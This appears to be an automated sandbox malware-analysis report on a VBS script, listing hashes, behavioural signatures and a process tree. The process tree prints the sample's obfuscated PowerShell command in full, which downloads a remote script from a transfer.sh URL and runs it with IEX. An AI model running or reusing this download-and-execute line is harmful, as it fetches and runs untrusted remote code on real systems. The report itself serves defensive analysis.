Analysis
-
max time kernel
120s -
max time network
127s -
platform
windows7_x64 -
resource
win7-en-20211014 -
submitted
30-11-2021 18:39
General
-
Target
V2N1M2_P.VBS
-
Size
556B
-
MD5
d720ecdccd82525a211f09cfefcee6ee
-
SHA1
f415e9c1a072bdd44f54edabfe5c57f39f71fb0c
-
SHA256
2c882065daea3d83e4ccadf5ce780f33b571ec1799691d0355c4c5a0c98dadc0
-
SHA512
1a18293a40e66e9efefb455577b819f83a33c6aa33e953b124130cc3d443658a501ece61edd18b2524224e053dba4dbe596c4ebf656943611b3e97b317770dd0
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\V2N1M2_P.VBS"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ChiptEch=('{2}{1}{0}{3}{4}' -f'bC','WE','NEt.','liE','nt'); $FrEq=('{3}{0}{1}{2}' -f'load','Str','ing','Down'); $sysinfo=('{2}{0}{1}' -f'E','X','I'); &('I'+'EX')(N`Ew-Ob`jE`ct $ChiptEch).$FrEq('https://transfer.sh/get/oQmtoM/byyypass.txt')2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
-
Filesize
11.4MB
-
Filesize
12KB
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
124KB
-
Filesize
8KB